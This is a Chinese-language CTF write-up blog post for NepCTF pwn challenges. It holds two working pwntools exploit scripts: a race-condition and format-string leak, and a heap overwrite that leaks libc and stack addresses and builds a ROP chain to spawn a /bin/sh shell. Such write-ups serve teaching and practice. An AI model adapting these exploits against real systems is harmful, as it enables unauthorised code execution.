致歉
由于本人图方便在比赛结束前就上传我的题解和wp到博客里,导致我的答案和思路在比赛期间被别人搜到,在此对Nep的师傅们深表歉意😭😭😭
正文
上班回来的周末打会ctf稳稳手感,这周实在太累了,导致周末这几天几乎每天都半睡半醒的打ctf,到最后只抽出来清醒的时间做了两题,不过题目质量确实还可以。
Time[sloved]
条件竞争,题目把filename放在全局变量又单独开一个子线程去读取文件,我们可以趁检查文件名和读取文件的窗口期修改flilename,但不是fork出来的所以我们只能开一个process,同时我们需要在自己的process里开子线程去轮询修改filename为flag,最后通过格式化字符串把读取的文件内容打印出来。
打印出来发现是小端序,我们以8字节为单位逆序hex解密出来的flag
from pwn import *
import threading
import time
context.log_level = 'fatal'
#p = process('./time')
host = "nepctf31-aykg-jkyc-gdwg-nrfukdgcb788.nepctf.com"
port = 443
p = remote(host, port, ssl=True, sni=host)
def race_send_filename(new_name, delay):
while True:
time.sleep(delay)
p.sendline(new_name)
# 主线程
def main():
p.recvuntil(b"please input your name:")
p.sendline(b'%22$p%23$p%24$p%25$p%26$p%27$p%28$p%29$p%30$p%31$p')
p.recvuntil(b"good luck :-)")
while True:
p.recvuntil(b"input file name you want to read:")
p.sendline(b"hint.txt")
t = threading.Thread(target=race_send_filename, args=(b"flag", 0.001))
t.daemon = True
t.start()
time.sleep(0.05)
try:
p.recvuntil(b'hello ')
str = p.recvuntil(b' ,your',drop=True)#.decode()
print(str)
except:
continue
if __name__ == '__main__':
main()
ASTRAY[solved]
题目申请了一个大堆块用来存储数据,我们称之为DataChunk,又在全局变量处存储大堆块地址,然而题目首先错误的把MANAGER CHUNK放在了DataChunk的第一块,使我们可以任意READ和WRITE我们的MANAGER CHUNK,打法有很多,我这里选择读GOT泄露environ去栈里打ROP
from pwn import *
host = "nepctf30-tpu0-8b89-1psz-hnwxscmrs142.nepctf.com"
port = 443
io = remote(host, port, ssl=True, sni=host)
#io = process('./astray')
context.arch='amd64'
#context.log_level='debug'
libc = ELF('libc.so.6')
def mana_read(idx):
io.sendlineafter(b'(1:manager 1000:user)\n',b'1')
io.sendafter(b'visit user(MANAGER_visit)\n',b'MANAGER_read')
io.sendlineafter(b'manager can visit\n',str(idx).encode())
def mana_visit_w(idx,cho,con):
io.sendlineafter(b'(1:manager 1000:user)\n',b'1')
io.sendafter(b'visit user(MANAGER_visit)\n',b'MANAGER_visit')
io.sendlineafter(b'manager can visit\n',str(idx).encode())
io.sendlineafter(b'user_logs',b'2')
io.send(con)
def mana_visit_r(idx):
io.sendlineafter(b'(1:manager 1000:user)\n',b'1')
io.sendafter(b'visit user(MANAGER_visit)\n',b'MANAGER_visit')
io.sendlineafter(b'manager can visit\n',str(idx).encode())
io.sendlineafter(b'user_logs',b'1')
def fake_visit(idx):
io.sendlineafter(b'(1:manager 1000:user)\n',b'1000')
io.sendafter(b'logs(USER_write)\n',b'MANAGER_visit')
io.sendlineafter(b'user can visit\n',str(idx).encode())
def user_write(idx,con):
io.sendlineafter(b'(1:manager 1000:user)\n',b'1000')
io.sendafter(b'logs(USER_write)\n',b'USER_write')
io.sendlineafter(b'user can visit\n',str(idx).encode())
io.send(con)
def user_read(idx):
io.sendlineafter(b'(1:manager 1000:user)\n',b'1000')
io.sendafter(b'logs(USER_write)\n',b'USER_read')
io.sendlineafter(b'user can visit\n',str(idx).encode())
#io.send(con)
def user_ops():
io.sendlineafter(b'What action do you want to take?\n',b'1000')
def hack_read(idx,base_addr,read_addr):
io.send
log.info("------------------------leakAddr------------------------")
mana_read(0)
io.recv(8)
leak1 = u64(io.recv(8))
log.info(hex(leak1))
leak2 = u64(io.recv(8))
log.info(hex(leak2))
log.info("------------------------Poisoning-----------------------")
log.info("Step1:Leak LIBC")
info = p64(0x1)+p64(leak1)+p64(leak2-0x18)
fake_visit(0)
mana_visit_w(1,b'2',info)
target = leak2 + 0x559eb7398f98 - 0x559eb73991a0
log.info("GOT : "+hex(target))
info = p64(target)
user_write(19,info)
mana_visit_r(1)
#gdb.attach(io)
io.recvuntil(b'user_logs\n')
libcA = u64(io.recv(8)) + 0x7f1b0f000000 - 0x7f1b0f114870
log.info("LIBC : "+hex(libcA))
leak3 = io.recvuntil(b'Which',drop=True)
log.info("Step2:Leak STACK")
#one_gadget : 0xebc81 0xebc85 0xebc88 0xebce2 0xebd38 0xebd3f 0xebd43
one = libcA + 0xebd43
environ = libcA + libc.symbols['environ']
log.info("OGG : "+hex(one))
log.info("ENVIRON : "+hex(environ))
info = p64(environ-0x10)
user_write(19,info)
mana_visit_r(1)
io.recvuntil(b'user_logs\n')
io.recv(16)
stackA = u64(io.recv(8))
log.info("STACK : "+hex(stackA))
#gdb.attach(io)
stack = stackA + 0x7ffc72e11818 - 0x7ffc72e11968
user_write(19,p64(stack))
bsh = libcA + next(libc.search("/bin/sh\x00"))
rdi = libcA + 0x2a3e5
sys = libcA + libc.symbols['system']
ret = libcA + 0x29139
rop = p64(rdi) + p64(bsh) + p64(ret) + p64(sys)
#gdb.attach(io)
mana_visit_w(1,b'2',rop)
io.interactive()
smallbox[unsolved]
ptrace注入,懒得写shellcode了,找时间赛后一波吧